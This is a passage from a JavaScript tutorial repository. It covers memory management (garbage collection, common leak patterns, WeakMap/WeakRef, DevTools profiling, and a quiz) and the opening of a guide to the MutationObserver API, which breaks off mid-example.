...obj, c: 3 }; // New object allocated ``` ### Allocation via Constructor Calls ```javascript const date = new Date(); // Allocates Date object const regex = new RegExp("pattern"); // Allocates RegExp object const map = new Map(); // Allocates Map object const set = new Set([1, 2, 3]); // Allocates Set and stores values ``` ### Allocation via DOM APIs ```javascript // Each of these allocates new objects const div = document.createElement('div'); // Allocates DOM element const text = document.createTextNode('Hi'); // Allocates text node const fragment = document.createDocumentFragment(); ``` --- ## Garbage Collection: Automatic Memory Release JavaScript uses **[garbage collection](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_management#garbage_collection)** to automatically free memory that's no longer needed. The key concept is **reachability**. ### What is "Reachable"? A value is **reachable** if it can be accessed somehow, starting from "root" values: **Roots include:** - Global variables - Currently executing function's local variables and parameters - Variables in the current chain of nested function calls ```javascript // Global variable — always reachable let globalUser = { name: "Alice" }; function example() { // Local variable — reachable while function executes const localData = { value: 42 }; // Nested function can access outer variables function inner() { console.log(localData.value); // localData is reachable here } inner(); } // After example() returns, localData becomes unreachable ``` ### The Mark-and-Sweep Algorithm Modern JavaScript engines use the **mark-and-sweep** algorithm. As MDN documents, this approach replaced the older reference-counting strategy because it correctly handles circular references — a limitation that caused notorious memory leaks in early Internet Explorer versions: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ MARK-AND-SWEEP ALGORITHM │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ Step 1: MARK Step 2: SWEEP │ │ ───────────── ──────────── │ │ Start from roots, Remove all objects │ │ mark all reachable objects that weren't marked │ │ │ │ [root] [root] │ │ │ │ │ │ ▼ ▼ │ │ ┌─────┐ ┌─────┐ ┌─────┐ │ │ │ A │ ───► │ B │ │ A │ ───► │ B │ │ │ │ ✓ │ │ ✓ │ │ │ │ │ │ │ └─────┘ └─────┘ └─────┘ └─────┘ │ │ │ │ ┌─────┐ ┌─────┐ ╳─────╳ ╳─────╳ │ │ │ C │ ───► │ D │ │ DEL │ │ DEL │ │ │ │ │ │ │ ╳─────╳ ╳─────╳ │ │ └─────┘ └─────┘ (Unreachable = deleted) │ │ (Not reachable from root) │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` <Tabs> <Tab title="Example: Object Becomes Unreachable"> ```javascript let user = { name: "John" }; // Object is reachable via 'user' user = null; // Now the object has no references // The garbage collector will eventually free it ``` </Tab> <Tab title="Example: Multiple References"> ```javascript let user = { name: "John" }; let admin = user; // Two references to the same object user = null; // Object still reachable via 'admin' admin = null; // Now the object is unreachable // Garbage collector can free it ``` </Tab> <Tab title="Example: Interlinked Objects"> ```javascript function marry(man, woman) { man.wife = woman; woman.husband = man; return { father: man, mother: woman }; } let family = marry({ name: "John" }, { name: "Ann" }); family = null; // The entire structure becomes unreachable // Even though John and Ann reference each other, // they're unreachable from any root — so they're freed ``` </Tab> </Tabs> <Warning> **Important:** You cannot force or control when garbage collection runs. It happens automatically based on the JavaScript engine's internal heuristics. Don't write code that depends on specific GC timing. </Warning> --- ## Common Memory Leaks and How to Fix Them A **memory leak** occurs when your application retains memory that's no longer needed. Over time, this causes performance degradation and eventually crashes. Here are the most common causes: ### 1. Accidental Global Variables ```javascript // ❌ BAD: Creating global variables accidentally function processData() { // Forgot 'const' — this creates a global variable! leakedData = new Array(1000000); } // ✅ GOOD: Use proper variable declarations function processData() { const localData = new Array(1000000); // localData is freed when function returns } // ✅ BETTER: Use strict mode to catch this error "use strict"; function processData() { leakedData = []; // ReferenceError: leakedData is not defined } ``` ### 2. Forgotten Timers and Intervals ```javascript // ❌ BAD: Interval never cleared function startPolling() { const data = fetchHugeData(); setInterval(() => { // This closure keeps 'data' alive forever! console.log(data.length); }, 1000); } // ✅ GOOD: Store interval ID and clear when done function startPolling() { const data = fetchHugeData(); const intervalId = setInterval(() => { console.log(data.length); }, 1000); // Return cleanup function return () => clearInterval(intervalId); } const stopPolling = startPolling(); // Later, when done: stopPolling(); ``` ### 3. Detached DOM Elements ```javascript // ❌ BAD: Keeping references to removed DOM elements const elements = []; function addElement() { const div = document.createElement('div'); document.body.appendChild(div); elements.push(div); // Reference stored } function removeElement() { const div = elements[0]; document.body.removeChild(div); // Removed from DOM // But still referenced in 'elements' array — memory leak! } // ✅ GOOD: Remove references when removing elements function removeElement() { const div = elements.shift(); // Remove from array document.body.removeChild(div); // Remove from DOM // Now the element can be garbage collected } ``` ### 4. Closures Holding References ```javascript // ❌ BAD: Closure keeps large data alive function createHandler() { const hugeData = new Array(1000000).fill('x'); return function handler() { // Even if we only use hugeData.length, // the entire array is kept in memory console.log(hugeData.length); }; } const handler = createHandler(); // hugeData cannot be garbage collected while handler exists // ✅ GOOD: Only capture what you need function createHandler() { const hugeData = new Array(1000000).fill('x'); const length = hugeData.length; // Extract needed value return function handler() { console.log(length); // Only captures 'length' }; } // hugeData can be garbage collected after createHandler returns ``` ### 5. Event Listeners Not Removed ```javascript // ❌ BAD: Event listeners keep elements and handlers in memory class Component { constructor(element) { this.element = element; this.data = fetchLargeData(); this.handleClick = () => { console.log(this.data); }; element.addEventListener('click', this.handleClick); } // No cleanup method! } // ✅ GOOD: Always provide cleanup class Component { constructor(element) { this.element = element; this.data = fetchLargeData(); this.handleClick = () => { console.log(this.data); }; element.addEventListener('click', this.handleClick); } destroy() { this.element.removeEventListener('click', this.handleClick); this.element = null; this.data = null; } } ``` ### 6. Growing Collections (Caches Without Limits) ```javascript // ❌ BAD: Unbounded cache const cache = {}; function getData(key) { if (!cache[key]) { cache[key] = expensiveOperation(key); } return cache[key]; } // Cache grows forever! // ✅ GOOD: Use WeakMap for object keys (auto-cleanup) const cache = new WeakMap(); function getData(obj) { if (!cache.has(obj)) { cache.set(obj, expensiveOperation(obj)); } return cache.get(obj); } // When obj is garbage collected, its cache entry is too // ✅ ALSO GOOD: Bounded LRU cache for string keys class LRUCache { constructor(maxSize = 100) { this.cache = new Map(); this.maxSize = maxSize; } get(key) { if (this.cache.has(key)) { // Move to end (most recently used) const value = this.cache.get(key); this.cache.delete(key); this.cache.set(key, value); return value; } return undefined; } set(key, value) { if (this.cache.has(key)) { this.cache.delete(key); } else if (this.cache.size >= this.maxSize) { // Delete oldest entry const firstKey = this.cache.keys().next().value; this.cache.delete(firstKey); } this.cache.set(key, value); } } ``` --- ## Memory-Efficient Data Structures JavaScript provides special data structures designed for memory efficiency: ### WeakMap and WeakSet [`WeakMap`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap) and [`WeakSet`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet), introduced in the ECMAScript 2015 specification, hold "weak" references that don't prevent garbage collection: ```javascript // WeakMap: Associate data with objects without preventing GC const metadata = new WeakMap(); function processElement(element) { metadata.set(element, { processedAt: Date.now(), clickCount: 0 }); } // When 'element' is removed from DOM and dereferenced, // its WeakMap entry is automatically removed too // Regular Map would keep the element alive: const regularMap = new Map(); regularMap.set(element, data); // Even after element is removed, regularMap keeps it in memory! ``` **When to use:** - Caching computed data for objects - Storing private data associated with objects - Tracking objects without preventing their cleanup ### WeakRef (Advanced) [`WeakRef`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakRef) provides a weak reference to an object, allowing you to check if it still exists: ```javascript // Use case: Cache that allows garbage collection const cache = new Map(); function getCached(key, compute) { if (cache.has(key)) { const ref = cache.get(key); const value = ref.deref(); // Get object if it still exists if (value !== undefined) { return value; } } const value = compute(); cache.set(key, new WeakRef(value)); return value; } ``` <Warning> **Use WeakRef sparingly.** The exact timing of garbage collection is unpredictable. Code that relies on specific GC behavior may work differently across JavaScript engines or even between runs. Use WeakRef only for optimization, not correctness. </Warning> --- ## Profiling Memory with Chrome DevTools Chrome DevTools provides powerful tools for finding memory issues. ### Using the Memory Panel <Steps> <Step title="Open DevTools"> Press `F12` or `Cmd+Option+I` (Mac) / `Ctrl+Shift+I` (Windows) </Step> <Step title="Go to Memory Panel"> Click the **Memory** tab </Step> <Step title="Choose a Profile Type"> - **Heap snapshot:** Capture current memory state - **Allocation instrumentation on timeline:** Track allocations over time - **Allocation sampling:** Statistical sampling (lower overhead) </Step> <Step title="Take a Snapshot"> Click **Take snapshot** to capture the heap </Step> <Step title="Analyze Results"> Look for: - Objects with high **Retained Size** (memory they keep alive) - Unexpected objects that should have been garbage collected - Detached DOM nodes (search for "Detached") </Step> </Steps> ### Finding Detached DOM Nodes Detached DOM nodes are elements removed from the document but still referenced in JavaScript: ```javascript // This creates a detached DOM tree let detachedNodes = []; function leakMemory() { const div = document.createElement('div'); div.innerHTML = '<span>Lots of content...</span>'.repeat(1000); detachedNodes.push(div); // Never added to DOM, but kept in array } ``` **To find them in DevTools:** 1. Take a heap snapshot 2. In the filter box, type "Detached" 3. Look for `Detached HTMLDivElement`, etc. 4. Click to see what's retaining them ### Comparing Snapshots To find memory leaks: 1. Take a snapshot (baseline) 2. Perform the action you suspect leaks memory 3. Take another snapshot 4. Select the second snapshot 5. Change view to "Comparison" and select the first snapshot 6. Look for objects that increased unexpectedly --- ## Best Practices for Memory-Efficient Code <AccordionGroup> <Accordion title="1. Nullify References When Done"> Help the garbage collector by explicitly removing references to large objects when you're done with them. ```javascript function processLargeData() { let data = loadHugeDataset(); const result = analyze(data); data = null; // Allow GC to free the dataset return result; } ``` </Accordion> <Accordion title="2. Use Object Pools for Frequent Allocations"> Reuse objects instead of creating new ones in performance-critical code. ```javascript class ParticlePool { constructor(size) { this.pool = Array.from({ length: size }, () => ({ x: 0, y: 0, vx: 0, vy: 0, active: false })); } acquire() { const particle = this.pool.find(p => !p.active); if (particle) particle.active = true; return particle; } release(particle) { particle.active = false; } } ``` </Accordion> <Accordion title="3. Avoid Creating Functions in Loops"> Functions created in loops allocate new function objects each iteration. ```javascript // ❌ BAD: Creates new function every iteration items.forEach(item => { element.addEventListener('click', () => handle(item)); }); // ✅ GOOD: Create handler once function createHandler(item) { return () => handle(item); } // Or use a single delegated handler container.addEventListener('click', (e) => { const item = e.target.closest('[data-item]'); if (item) handle(item.dataset.item); }); ``` </Accordion> <Accordion title="4. Be Careful with String Concatenation"> Strings are immutable; concatenation creates new strings. ```javascript // ❌ BAD: Creates many intermediate strings let result = ''; for (let i = 0; i < 10000; i++) { result += 'item ' + i + ', '; } // ✅ GOOD: Build array, join once const parts = []; for (let i = 0; i < 10000; i++) { parts.push(`item ${i}`); } const result = parts.join(', '); ``` </Accordion> <Accordion title="5. Clean Up in Lifecycle Methods"> In frameworks like React, Vue, or Angular, always clean up in the appropriate lifecycle method. ```javascript // React example useEffect(() => { const subscription = dataSource.subscribe(handleData); return () => { subscription.unsubscribe(); // Cleanup on unmount }; }, []); ``` </Accordion> </AccordionGroup> --- ## Key Takeaways <Info> **The key things to remember about Memory Management:** 1. **JavaScript manages memory automatically** — You don't allocate or free memory manually, but you must understand how it works to avoid leaks 2. **Memory lifecycle has three phases** — Allocation (automatic), use (your code), and release (garbage collection) 3. **Stack is for primitives, heap is for objects** — Primitives and references live on the stack; objects live on the heap 4. **Reachability determines garbage collection** — Objects are freed when they can't be reached from roots (global variables, current function stack) 5. **Mark-and-sweep is the algorithm** — The GC marks all reachable objects, then sweeps away the rest 6. **Common leaks: globals, timers, DOM refs, closures, listeners** — These patterns keep objects reachable unintentionally 7. **WeakMap and WeakSet prevent leaks** — They hold weak references that don't prevent garbage collection 8. **DevTools Memory panel finds leaks** — Use heap snapshots and comparisons to identify retained objects 9. **Explicitly null references to large objects** — Help the GC by breaking references when you're done 10. **Clean up event listeners and timers** — Always remove listeners and clear intervals when components unmount </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: What are the three phases of the memory lifecycle?"> **Answer:** The three phases are: 1. **Allocation** — Memory is reserved when you create values (automatic in JavaScript) 2. **Use** — Your code reads and writes to allocated memory 3. **Release** — Memory is freed when no longer needed (handled by garbage collection) In JavaScript, phases 1 and 3 are automatic, while phase 2 is controlled by your code. </Accordion> <Accordion title="Question 2: What's the difference between stack and heap memory?"> **Answer:** | Stack | Heap | |-------|------| | Stores primitives and references | Stores objects | | Fixed size, fast access | Dynamic size, slower access | | LIFO order, auto-managed | Managed by garbage collector | | Freed when function returns | Freed when unreachable | ```javascript function example() { const num = 42; // Stack (primitive) const obj = { x: 1 }; // Heap (object) const ref = obj; // Stack (reference to heap object) } ``` </Accordion> <Accordion title="Question 3: Why does this code cause a memory leak?"> ```javascript const buttons = document.querySelectorAll('button'); const handlers = []; buttons.forEach(button => { const handler = () => console.log('clicked'); button.addEventListener('click', handler); handlers.push(handler); }); ``` **Answer:** This code causes a memory leak because: 1. Event listeners are never removed 2. Handler functions are stored in the `handlers` array 3. Even if buttons are removed from the DOM, they can't be garbage collected because: - The `handlers` array keeps references to the handler functions - The handler functions are attached to the buttons **Fix:** Remove event listeners and clear the array when buttons are removed: ```javascript function cleanup() { buttons.forEach((button, i) => { button.removeEventListener('click', handlers[i]); }); handlers.length = 0; } ``` </Accordion> <Accordion title="Question 4: When would you use WeakMap instead of Map?"> **Answer:** Use `WeakMap` when: 1. **Keys are objects** that may be garbage collected 2. **You're associating metadata** with objects owned by other code 3. **You don't want your map to prevent garbage collection** of the keys ```javascript // Storing computed data for DOM elements const elementData = new WeakMap(); function processElement(el) { if (!elementData.has(el)) { elementData.set(el, computeExpensiveData(el)); } return elementData.get(el); } // When el is removed from DOM and dereferenced, // its entry in elementData is automatically cleaned up ``` Use regular `Map` when you need to iterate over entries or when keys are primitives. </Accordion> <Accordion title="Question 5: What does 'Detached' mean in Chrome DevTools heap snapshots?"> **Answer:** "Detached" refers to DOM elements that have been removed from the document tree but are still retained in JavaScript memory because some code still holds a reference to them. Common causes: - Storing DOM elements in arrays or objects - Event handlers that reference removed elements via closures - Caches that hold DOM element references To find them: 1. Take a heap snapshot in DevTools Memory panel 2. Filter for "Detached" 3. Examine what's retaining each detached element 4. Remove those references in your code </Accordion> <Accordion title="Question 6: How does mark-and-sweep garbage collection work?"> **Answer:** Mark-and-sweep works in two phases: **Mark phase:** 1. Start from "roots" (global variables, current call stack) 2. Visit all objects reachable from roots 3. Mark each visited object as "alive" 4. Follow references to mark objects reachable from marked objects 5. Continue until all reachable objects are marked **Sweep phase:** 1. Scan through all objects in memory 2. Delete any object that wasn't marked 3. Reclaim that memory for future allocations This approach handles circular references correctly — if two objects reference each other but neither is reachable from a root, both are collected. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What causes memory leaks in JavaScript?"> The most common causes are forgotten event listeners, uncleared timers and intervals, detached DOM elements still referenced in JavaScript, closures that capture large objects, and unbounded caches. According to Chrome DevTools documentation, detached DOM nodes are one of the most frequently identified leak sources in heap snapshot analysis. </Accordion> <Accordion title="How do you detect memory leaks in JavaScript?"> Use the Chrome DevTools Memory panel to take heap snapshots and compare them over time. Look for objects with unexpectedly high retained size, detached DOM nodes, and growing object counts between snapshots. The Allocation Timeline tool helps identify where allocations originate in your code. </Accordion> <Accordion title="What is the difference between stack and heap memory in JavaScript?"> The stack stores primitive values and function call frames with fast, ordered LIFO access. The heap stores objects, arrays, and functions with dynamic sizing managed by the garbage collector. Variables on the stack hold references (pointers) to objects in the heap, which is why reassigning an object variable doesn't copy the object. </Accordion> <Accordion title="Does JavaScript have manual memory management?"> No. JavaScript uses automatic memory management through garbage collection. The ECMAScript specification does not expose any API for manual allocation or deallocation. However, you can help the garbage collector by nullifying references to large objects when done and cleaning up event listeners and timers. </Accordion> <Accordion title="How much memory can a JavaScript application use?"> There is no fixed limit defined by the language. Browser tabs typically have access to 1–4 GB of heap memory depending on the device and browser. Node.js defaults to approximately 1.5 GB on 64-bit systems but can be increased with the `--max-old-space-size` flag. MDN recommends profiling regularly to avoid exceeding practical limits. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Garbage Collection" icon="recycle" href="/beyond/concepts/garbage-collection"> Deep dive into garbage collection algorithms and optimization </Card> <Card title="WeakMap & WeakSet" icon="key" href="/beyond/concepts/weakmap-weakset"> Memory-safe collections with weak references </Card> <Card title="Call Stack" icon="layer-group" href="/concepts/call-stack"> How stack memory is used during function execution </Card> <Card title="Scope & Closures" icon="lock" href="/concepts/scope-and-closures"> How closures affect memory retention </Card> </CardGroup> --- ## References <CardGroup cols={2}> <Card title="Memory Management — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Memory_management"> Official MDN documentation on JavaScript memory management and garbage collection </Card> <Card title="WeakMap — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap"> Documentation for WeakMap, a memory-efficient key-value collection </Card> <Card title="WeakRef — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakRef"> Documentation for WeakRef, allowing weak references to objects </Card> <Card title="FinalizationRegistry — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/FinalizationRegistry"> Register callbacks when objects are garbage collected </Card> </CardGroup> ## Articles <CardGroup cols={2}> <Card title="Garbage Collection — JavaScript.info" icon="newspaper" href="https://javascript.info/garbage-collection"> Excellent illustrated guide to how garbage collection works with the mark-and-sweep algorithm. Clear diagrams showing reachability. </Card> <Card title="Fix Memory Problems — Chrome DevTools" icon="wrench" href="https://developer.chrome.com/docs/devtools/memory-problems"> Official Chrome guide to identifying memory leaks, using heap snapshots, and profiling allocation timelines. </Card> <Card title="Memory Management Masterclass — Auth0" icon="graduation-cap" href="https://auth0.com/blog/four-types-of-leaks-in-your-javascript-code-and-how-to-get-rid-of-them/"> Comprehensive walkthrough of the four most common JavaScript memory leak patterns with practical solutions. </Card> <Card title="A Tour of V8: Garbage Collection" icon="engine" href="https://jayconrod.com/posts/55/a-tour-of-v8-garbage-collection"> Deep dive into how V8's garbage collector works, including generational collection and incremental marking. </Card> </CardGroup> ## Videos <CardGroup cols={2}> <Card title="JavaScript Memory Management Crash Course" icon="video" href="https://www.youtube.com/watch?v=LaxbdIyBkL0"> Traversy Media's beginner-friendly introduction to memory management, stack vs heap, and garbage collection basics. </Card> <Card title="Memory Leaks Demystified" icon="video" href="https://www.youtube.com/watch?v=slV0zdUEYJw"> Google Chrome Developers explain how to find and fix memory leaks using DevTools, with real-world examples. </Card> <Card title="V8 Memory Deep Dive" icon="video" href="https://www.youtube.com/watch?v=aQ9dRKqk1ks"> Advanced talk from BlinkOn covering V8's memory architecture, generational GC, and performance optimizations. </Card> <Card title="JavaScript Memory: Heap, Stack, and Garbage Collection" icon="video" href="https://www.youtube.com/watch?v=8Vwl4F3B60Y"> Visual explanation of how JavaScript allocates memory and the differences between stack and heap storage. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/mutation-observer.mdx ================================================ --- title: "MutationObserver in JavaScript" sidebarTitle: "MutationObserver: Watching DOM Changes" description: "Learn the MutationObserver API in JavaScript. Watch DOM changes, detect attribute modifications, and build reactive UIs." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Observer APIs" "article:tag": "mutationobserver, dom changes, attribute modifications, reactive ui, dom monitoring" --- How do you know when something changes in the DOM? What if you need to react when a third-party script adds elements, when user input modifies content, or when attributes change dynamically? ```javascript // Watch for any changes to a DOM element const observer = new MutationObserver((mutations) => { for (const mutation of mutations) { console.log('Something changed!', mutation.type) } }) observer.observe(document.body, { childList: true, // Watch for added/removed children subtree: true // Watch all descendants too }) ``` The **[MutationObserver](https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver)** API lets you watch the DOM for changes and react to them efficiently. It replaced the older, performance-killing Mutation Events and is now the standard way to detect DOM modifications. <Info> **What you'll learn in this guide:** - What MutationObserver is and why it replaced Mutation Events - How to configure exactly what changes to observe - Watching child nodes, attributes, and text content - Using the subtree option for deep observation - Processing MutationRecords to understand what changed - Disconnecting observers properly for cleanup - Real-world use cases and patterns </Info> <Warning> **Prerequisites:** This guide assumes you're comfortable with [DOM manipulation](/concepts/dom) and basic JavaScript. Understanding the [Event Loop](/concepts/event-loop) helps but isn't required. </Warning> --- ## What is MutationObserver? A **MutationObserver** is a built-in JavaScript object that watches a DOM element and fires a callback whenever specified changes occur. It provides an efficient, asynchronous way to react to DOM mutations without constantly polling or using deprecated event listeners. Think of it as setting up a security camera for your DOM. You tell it what to watch (an element), what changes you care about (children added, attributes changed, text modified), and what to do when something happens (your callback function). ### Why Not Just Use Events? You might wonder: "Why not just listen for events?" The problem is that most DOM changes don't fire events you can listen to: ```javascript // These changes happen silently - no events fired! element.setAttribute('data-active', 'true') element.textContent = 'New text' element.appendChild(newChild) // There's no "attributechange" or "childadded" event to listen for element.addEventListener('attributechange', handler) // This doesn't exist! ``` Before MutationObserver, developers used **Mutation Events** (`DOMNodeInserted`, `DOMAttrModified`, etc.), but these had serious problems: | Problem | Impact | |---------|--------| | Fired synchronously | Blocked the main thread during DOM operations | | Fired too often | Every single change triggered an event | | Performance killer | Made complex DOM updates painfully slow | | Bubbled up the DOM | Caused cascade of unnecessary handlers | MutationObserver solves all of these by batching changes and delivering them asynchronously via microtasks. As the [original Mozilla Hacks blog post](https://hacks.mozilla.org/2012/05/dom-mutationobserver-reacting-to-dom-changes-without-killing-browser-performance/) explains, this redesign was driven by real-world performance problems that Mutation Events caused in complex web applications. --- ## The Security Camera Analogy Imagine you're setting up security cameras in a building: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ THE SECURITY CAMERA ANALOGY │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ YOUR DOM MUTATIONOBSERVER │ │ ┌──────────────────────┐ ┌──────────────────┐ │ │ │ │ │ │ │ │ │ ┌────────────────┐ │ watches │ 📹 Camera │ │ │ │ │ <div> │◄─┼───────────────┤ │ │ │ │ │ <p>Hi</p> │ │ │ Config: │ │ │ │ │ <span/> │ │ │ - children ✓ │ │ │ │ │ </div> │ │ │ - attributes ✓ │ │ │ │ └────────────────┘ │ │ - text ✓ │ │ │ │ │ │ │ │ │ └──────────────────────┘ └────────┬─────────┘ │ │ │ │ │ │ detects changes │ │ ▼ │ │ ┌──────────────────┐ │ │ │ YOUR CALLBACK │ │ │ │ │ │ │ │ "A child was │ │ │ │ added!" │ │ │ │ "Attribute │ │ │ │ changed!" │ │ │ └──────────────────┘ │ │ │ │ Just like a security camera: │ │ • You choose WHAT to watch (which element) │ │ • You choose WHAT to detect (motion, faces, etc. = children, attrs) │ │ • You get NOTIFIED when something happens (callback with details) │ │ • You can STOP watching anytime (disconnect) │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` The key insight: you're not constantly checking "did something change?" (polling). Instead, you set up the observer once, and it tells YOU when changes happen. --- ## Creating a MutationObserver Setting up a MutationObserver takes three steps: <Steps> <Step title="Create the observer with a callback"> The callback receives an array of [MutationRecord](https://developer.mozilla.org/en-US/docs/Web/API/MutationRecord) objects describing what changed. ```javascript const observer = new MutationObserver((mutations, obs) => { // mutations = array of MutationRecord objects // obs = the observer itself (useful for disconnecting) console.log(`${mutations.length} changes detected`) }) ``` </Step> <Step title="Start observing with configuration"> Call `observe()` with the target element and an options object specifying what to watch. ```javascript const targetElement = document.getElementById('app') observer.observe(targetElement, { childList: true, // Watch for added/removed children attributes: true, // Watch for attribute changes characterData: true // Watch for text content changes }) ``` </Step> <Step title="Handle the mutations in your callback"> Each [MutationRecord](https://developer.mozilla.org/en-US/docs/Web/API/MutationRecord) tells you exactly what changed. ```javascript const observer = new MutationObserver((mutations) => { for (const mutation of mutations) { if (mutation.type === 'childList') { console.log('Children changed!') console.log('Added:', mutation.addedNodes) console.log('Removed:', mutation.removedNodes) } if (mutation.type === 'attributes') { console.log(`Attribute "${mutation.attributeName}" changed`) } } }) ``` </Step> </Steps> --- ## Configuration Options The second argument to `observe()` is a [MutationObserverInit](https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver/observe#options) object that controls what changes to watch. At least one of `childList`, `attributes`, or `characterData` must be `true`. ### The Core Options | Option | Type | What It Watches | |--------|------|-----------------| | `childList` | boolean | Adding or removing child nodes | | `attributes` | boolean | Changes to element attributes | | `characterData` | boolean | Changes to text node content | | `subtree` | boolean | Apply options to ALL descendants, not just direct children | ### Additional Options | Option | Type | What It Does | |--------|------|--------------| | `attributeOldValue` | boolean | Include the old attribute value in the MutationRecord | | `characterDataOldValue` | boolean | Include the old text content in the MutationRecord | | `attributeFilter` | string[] | Only watch specific attributes (e.g., `['class', 'data-id']`) | ### Common Configuration Patterns <Tabs> <Tab title="Watch Children Only"> ```javascript // Detect when elements are added or removed observer.observe(container, { childList: true }) // Triggers when: container.appendChild(newElement) // ✓ container.removeChild(existingChild) // ✓ container.innerHTML = '<p>New</p>' // ✓ container.setAttribute('class', 'x') // ✗ (not watching attributes) ``` </Tab> <Tab title="Watch Attributes Only"> ```javascript // Detect attribute changes observer.observe(element, { attributes: true, attributeOldValue: true // Optional: get the previous value }) // Triggers when: element.setAttribute('data-active', 'true') // ✓ element.classList.add('highlight') // ✓ element.id = 'new-id' // ✓ element.textContent = 'New text' // ✗ (not watching characterData) ``` </Tab> <Tab title="Watch Specific Attributes"> ```javascript // Only care about certain attributes observer.observe(element, { attributes: true, attributeFilter: ['class', 'data-state', 'aria-expanded'] }) // Triggers when: element.classList.toggle('active') // ✓ (class is in filter) element.dataset.state = 'loading' // ✓ (data-state is in filter) element.setAttribute('title', 'Hello') // ✗ (title not in filter) ``` </Tab> <Tab title="Watch Everything Deeply"> ```javascript // Watch the entire subtree for all changes observer.observe(document.body, { childList: true, attributes: true, characterData: true, subtree: true, // Watch ALL descendants attributeOldValue: true, characterDataOldValue: true }) // Triggers for ANY change anywhere in the body! // Use with caution - can be expensive ``` </Tab> </Tabs> <Warning> **Performance tip:** Be specific about what you watch. Observing `document.body` with `subtree: true` and all options enabled will fire for EVERY DOM change on the page. Only watch what you need. </Warning> --- ## Understanding MutationRecords When your callback fires, it receives an array of [MutationRecord](https://developer.mozilla.org/en-US/docs/Web/API/MutationRecord) objects. Each record describes a single mutation. ### MutationRecord Properties | Property | Description | |----------|-------------| | `type` | The type of mutation: `"childList"`, `"attributes"`, or `"characterData"` | | `target` | The element (or text node) that was mutated | | `addedNodes` | NodeList of added nodes (for `childList` mutations) | | `removedNodes` | NodeList of removed nodes (for `childList` mutations) | | `previousSibling` | Previous sibling of added/removed nodes | | `nextSibling` | Next sibling of added/removed nodes | | `attributeName` | Name of the changed attribute (for `attributes` mutations) | | `attributeNamespace` | Namespace of the changed attribute (for namespaced attributes) | | `oldValue` | Previous value (if `attributeOldValue` or `characterDataOldValue` was set) | ### Processing Different Mutation Types ```javascript const observer = new MutationObserver((mutations) => { for (const mutation of mutations) { switch (mutation.type) { case 'childList': // Nodes were added or removed mutation.addedNodes.forEach(node => { if (node.nodeType === Node.ELEMENT_NODE) { console.log('Element added:', node.tagName) } }) mutation.removedNodes.forEach(node => { if (node.nodeType === Node.ELEMENT_NODE) { console.log('Element removed:', node.tagName) } }) break case 'attributes': // An attribute changed console.log( `Attribute "${mutation.attributeName}" changed on`, mutation.target, `from "${mutation.oldValue}" to "${mutation.target.getAttribute(mutation.attributeName)}"` ) break case 'characterData': // Text content changed console.log( 'Text changed from', `"${mutation.oldValue}" to "${mutation.target.textContent}"` ) break } } }) observer.observe(element, { childList: true, attributes: true, characterData: true, subtree: true, attributeOldValue: true, characterDataOldValue: true }) ``` <Tip> **Quick tip:** `addedNodes` and `removedNodes` include ALL node types, including text nodes and comments. Filter by `nodeType === Node.ELEMENT_NODE` if you only care about elements. </Tip> --- ## The Subtree Option By default, MutationObserver only watches the direct children of the target element. The `subtree: true` option extends observation to ALL descendants. ```javascript // Without subtree - only watches direct children observer.observe(parent, { childList: true }) // parent // ├── child1 ← Watched // │ └── grandchild1 ← NOT watched // └── child2 ← Watched // └── grandchild2 ← NOT watched // With subtree - watches entire tree observer.observe(parent, { childList: true, subtree: true }) // parent // ├── child1 ← Watched // │ └── grandchild1 ← Watched // └── child2 ← Watched // └── grandchild2 ← Watched ``` ### When to Use Subtree | Use Case | subtree? | Why | |----------|----------|-----| | Watch a specific container for new items | No | Only direct children matter | | Detect any DOM change in an app | Yes | Changes can happen anywhere | | Watch for specific elements appearing | Yes | They might be nested | | Track attribute changes on one element | No | Only the target matters | --- ## Disconnecting and Cleanup Always disconnect observers when you're done with them. This prevents memory leaks and unnecessary processing. ### The disconnect() Method ```javascript const observer = new MutationObserver(callback) observer.observe(element, { childList: true }) // Later, when you're done watching observer.disconnect() // The callback will no longer fire for any changes ``` ### The takeRecords() Method If you need to process pending mutations before disconnecting, use [takeRecords()](https://developer.mozilla.org/en-US/docs/Web/API/MutationObserver/takeRecords): ```javascript // Get any mutations that haven't been delivered to the callback yet const pendingMutations = observer.takeRecords() // Process them manually for (const mutation of pendingMutations) { console.log('Pending mutation:', mutation.type) } // Now disconnect observer.disconnect() ``` ### Cleanup Pattern for Components ```javascript class MyComponent { constructor(element) { this.element = element this.observer = new MutationObserver(this.handleMutations.bind(this)) this.observer.observe(element, { childList: true, subtree: true }) } handleMutations(mutations) { // Process mutations } destroy() { // Always clean up! this.observer.disconnect() this.observer = null } } ``` <Warning> **Memory leak alert:** Forgetting to disconnect observers on removed elements can cause memory leaks. Always disconnect when the observed element is removed from the DOM or when your component is destroyed. </Warning> --- ## When Callbacks Run: Microtasks MutationObserver callbacks are scheduled as **microtasks**, meaning they run after the current script but before the browser renders. According to the [WHATWG HTML specification](https://html.spec.whatwg.org/multipage/webappapis.html#mutation-observers), this batching behavior is intentional — it allows multiple DOM changes to be processed in a single callback invocation. This is the same queue as Promise callbacks. ```javascript console.log('1. Script start') const observer = new MutationObserver(() => { console.log('3. MutationObserver callback') }) observer.observe(document.body, { childList: true }) 